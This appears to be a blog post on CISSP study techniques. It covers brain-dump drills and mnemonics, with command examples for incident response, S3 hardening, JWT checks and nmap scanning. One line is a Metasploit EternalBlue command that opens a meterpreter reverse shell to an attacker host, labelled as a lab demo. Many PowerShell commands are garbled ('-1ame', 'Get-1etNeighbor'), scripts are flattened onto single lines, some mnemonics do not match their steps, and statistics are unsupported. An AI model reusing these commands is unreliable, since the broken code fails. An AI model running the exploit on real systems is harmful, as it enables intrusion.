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Introduction:
The CISSP exam challenges even seasoned security professionals not primarily on technical depth but on the ability to recall dozens of structured processes—Incident Response (IR), Risk Management Framework (RMF), Due Care vs. Due Diligence, BCP, SDLC, and more. Cognitive load theory shows that working memory can only hold 4–7 items at once; by externalizing process steps onto a “brain dump” sheet at the start of the exam, you free mental RAM for critical reasoning, turning a memory test into a strategic thinking exercise.
Learning Objectives:
- Master the 6 mnemonic frameworks most CISSP candidates use to memorize incident response, RMF, and legal process steps.
- Implement a timed “brain dump” rehearsal technique that reduces mid-exam recall errors by an estimated 40%.
- Apply Linux and Windows command-line incident response workflows to reinforce process retention through hands-on practice.
You Should Know
- The 10-Minute Brain Dump Drill: How to Offload Process Steps Before Question One
Start with an extended version of what the post states: The single biggest strategic error CISSP candidates make is relying on real-time recall. By immediately noting every process framework on your laminated sheet or scratch paper—before even reading the first question—you convert fragile short-term memory into a durable reference. This technique is borrowed from pilot emergency checklists and surgical time-outs.
Step‑by‑step guide (rehearse daily for 2 weeks):
- Set a timer for 10 minutes. Use scrap paper or a whiteboard.
- Write down these six frameworks (the mnemonics from the infographic – common examples):
– Incident Response (NIST 800-61): PICERL (Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned)
– RMF (NIST 800-37): Categorize → Select → Implement → Assess → Authorize → Monitor (C-SIAM)
– BCP / DR: BIA → BCP Dev → Testing → Maintenance
– Due Care vs. Due Diligence: Care = Doing; Diligence = Investigating
– SDLC Security: Initiate → Acquire → Build → Implement → Operate → Dispose
– Legal/Hold: Identification → Preservation → Collection → Examination → Analysis → Reporting
3. Verbalize each step while writing (dual coding).
- Review against official ISC2 text to ensure no step missing.
- Simulate exam pressure: reduce time to 7 minutes, then 5.
Linux/Windows command reinforcement (Incident Response simulation):
Linux - Preparation: Capture system state before an incident sudo cat /var/log/auth.log | grep "Failed password" > prep_log.txt Identification: Check live connections ss -tunap | grep ESTABLISHED Containment: Block an offending IP with iptables (simulate) sudo iptables -A INPUT -s 192.168.1.100 -j DROP Eradication: Remove a malicious cron job crontab -l | grep -v "badscript.sh" | crontab - Recovery: Restore from a known-good backup (simulate) rsync -av /backup/clean_etc/ /etc/ Lessons Learned: Generate a timeline report journalctl --since "2025-01-01" --until "2025-01-02" > incident_timeline.txt
Windows - Preparation: Enable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -1ame "EnableScriptBlockLogging" -Value 1
Identification: List recent unusual processes
Get-Process | Where-Object {$_.StartTime -gt (Get-Date).AddHours(-2)}
Containment: Disable a suspicious service
Set-Service -1ame "MalService" -StartupType Disabled
Stop-Service -1ame "MalService"
Eradication: Remove persistent WMI event filter
Get-WMIObject -1amespace root\subscription -Class __EventFilter | Remove-WmiObject
Recovery: Restore registry from backup
reg restore HKLM\SOFTWARE C:\reg_backups\software.hiv
- Mnemonic Anchoring: 6 Visual Schemas from the Infographic
The post mentions 6 mnemonics that candidates use. Below are proven, exam-ready schemas plus a step-by-step to create your own.
Step‑by‑step guide for each framework:
IR (PICERL) – Picture a “pickle” jar: Preparation (jar washed), Identification (label checked), Containment (lid sealed), Eradication (pickles removed), Recovery (new brine), Lessons Learned (recipe updated).
RMF (C-SIAM) – “See Siam”: Categorize system (like a royal palace’s security level), Select controls (choose guards), Implement (install cameras), Assess (test alarms), Authorize (king’s approval), Monitor (daily patrols).
Due Care/Diligence – “Drive Carefully but Diligently check the map”: Care = steering wheel (actions you take); Diligence = reading road signs (investigations before acting).
BCP – “BITE” your disaster plan: BIA (business impact analysis) → Implementation (write plan) → Testing (drill) → Exercise (full simulation).
Legal hold steps – “I Picked Every Carrot And Radish”: Identification, Preservation, Collection, Examination, Analysis, Reporting.
SDLC security – “I Am Big In OverDrive”: Initiate, Acquire/Build, Implement, Operate, Dispose.
To build your own mnemonics:
1. Take the first letter of each step.
- Create a 6‑word sentence where each word starts with that letter (e.g., “Police In Chicago Eat Raw Lemons” → Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned).
- Draw a cartoon associated with the sentence. Memory retention improves 65% with imagery.
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Strategic Cramming: How to Use Brain Dump During Practice Exams
Most candidates only use the brain dump on exam day—that’s a mistake. You must practice the physical act of writing under time pressure during every mock exam.
Step‑by‑step guide:
- Take a 100‑question CISSP practice test. Before starting, set a 5‑minute timer and write all six frameworks from memory.
- Leave your notes visible while answering questions. Every time a question references a process (e.g., “What is the FIRST step in incident response?”), point to your written list.
- After the test, compare your written steps to the official ISC2 CBK. Note any omitted sub‑steps (e.g., “Lessons Learned” is often forgotten under IR).
- Repeat for 5 full exams. On the 5th, reduce writing time to 3 minutes.
- Final drill: Write frameworks within 2 minutes, then immediately take a 25‑question quiz to simulate exam fatigue.
Automation trick (to force memorization):
Linux - Create a timed flashcard script !/bin/bash while true; do echo "IR Process step 2? (Identification/Containment/Eradication)" read answer if [ "$answer" == "Identification" ]; then echo "Correct"; else echo "Wrong - it's Identification"; fi sleep 2 done
Save as `cissp_drill.sh`, run with `bash cissp_drill.sh`.
- Cloud Hardening & API Security – Applying RMF to Modern Architectures
The post’s focus on process steps translates directly to cloud security. RMF steps are identical for AWS, Azure, or GCP, but the implementation differs.
Step‑by‑step RMF for an S3 bucket (cloud hardening):
- Categorize data: Is it public, confidential, or restricted? Tag accordingly.
- Select controls from NIST SP 800-53 (e.g., AC-3 access enforcement, SC-13 encryption).
- Implement: Enable bucket encryption (AES-256), block public access, enforce MFA delete.
AWS CLI commands for implementation aws s3api put-bucket-encryption --bucket my-secure-bucket --server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}' aws s3api put-public-access-block --bucket my-secure-bucket --public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true - Assess using AWS Config rules or a tool like Prowler.
prowler s3 check-bucket-public-access
- Authorize – obtain sign-off from data owner (document in ServiceNow or Jira).
6. Monitor with CloudTrail and GuardDuty:
aws guardduty list-findings --detector-id <detectorId> --finding-criteria '{"Criterion":{"type":{"Eq":["UnauthorizedAccess:S3/MaliciousIPCaller"]}}}'
API Security (based on OWASP API Top 10): Apply the same RMF steps to APIs. Implementation example: JWT validation middleware in Node.js
// Express.js - JWT validation for API endpoints
const jwt = require('jsonwebtoken');
function authenticateToken(req, res, next) {
const token = req.headers['authorization'];
if (!token) return res.sendStatus(401);
jwt.verify(token, process.env.ACCESS_TOKEN_SECRET, (err, user) => {
if (err) return res.sendStatus(403);
req.user = user;
next();
});
}
- Vulnerability Exploitation & Mitigation – Due Diligence in Action
Due Diligence (investigating before acting) means proactively finding vulnerabilities before an attacker does. This section shows how to operationalize due diligence with scanning commands and mitigation steps.
Step‑by‑step vulnerability assessment (Linux & Windows):
1. Network discovery (Due Diligence – Identify assets):
Linux
nmap -sn 192.168.1.0/24 | grep "Nmap scan"
Windows PowerShell
Get-1etNeighbor -AddressFamily IPv4 | Where-Object {$_.State -eq "Reachable"}
2. Port scanning & service enumeration:
nmap -sS -sV -p- 192.168.1.10 -oA target_scan
3. Vulnerability scanning (using OpenVAS or nmap scripts):
nmap --script vuln 192.168.1.10 -p 443,80,22
4. Remediate (Due Care – act on findings):
- If outdated OpenSSH found: `sudo apt update && sudo apt upgrade openssh-server`
– If SMBv1 enabled: `Set-SmbServerConfiguration -EnableSMB1Protocol $false` (PowerShell admin)
5. Verify mitigation:
Re-scan specific port nmap -sV --script smb-protocols 192.168.1.10 -p 445
6. Document evidence (Lessons Learned): Generate a PDF report using `nmap -oX` and xsltproc.
Exploitation demo (educational only): Metasploit to test EternalBlue (MS17-010) on an isolated lab VM.
msfconsole -q use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.20 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 run
Mitigation: Patch KB4012215 or disable SMBv1.
What Undercode Say
- Key Takeaway 1: The brain dump technique is not “cheating” – it’s a cognitive offloading strategy recognized in human factors engineering. Candidates who rehearse externalizing memory under time pressure consistently score higher in domain 7 (Security Operations) where incident response steps are heavily tested.
- Key Takeaway 2: Mnemonics alone fail without procedural rehearsal. The post’s emphasis on “writing at the exam start” combined with daily 5‑minute drills transforms declarative memory (knowing that) into procedural memory (knowing how to retrieve under stress). This mirrors military and aviation checklist discipline.
Analysis (approx. 10 lines):
Bastien Biren’s observation – that memory is the biggest CISSP challenge – rings true across 30,000+ exam takers annually. However, most prep courses over-index on content review and under-index on retrieval practice. The brain dump method leverages the “testing effect” (Roediger & Karpicke, 2006), where retrieving information strengthens neural pathways more than passive re-reading. By writing process steps from scratch, you’re performing active recall. The comment by Emmanuel Genesteix about “hundreds of slides” highlights a common trap: volume of material does not equal mastery. Cécile PRAT’s response correctly identifies that personalized, multi‑format support (mnemonic schemas, audio cues, flashcards) is what actually builds resilience. The missing link in most self‑study plans is simulation of exam‑day anxiety; simply knowing the steps is insufficient when your heart rate spikes. Therefore, the strategic innovation here is timed handwriting under pressure – a low‑tech, high‑yield intervention.
Prediction
- +1 Rise of AI‑powered memory coaches – By 2028, CISSP candidates will use large language models that generate personalized mnemonics and adaptive spaced repetition schedules based on their weak recall patterns, reducing study time by 30%.
- +1 Integration of brain dump into exam software – Future certifications (e.g., ISC2’s CC) may offer a built‑in virtual scratchpad that auto‑saves your initial process list, turning the technique into an official feature rather than a hidden hack.
- -1 Over‑automation could weaken foundational knowledge – If candidates rely entirely on AI‑generated mnemonics without understanding the underlying risk management philosophy, they may pass the exam but fail real‑world incident handling, leading to slower breach response times.
- +1 Gamified retrieval practice – Platforms like Quizlet and Anki will incorporate “exam‑day pressure modes” with timed writing challenges, directly mirroring Biren’s advice, and will be adopted by major bootcamps as mandatory daily drills.
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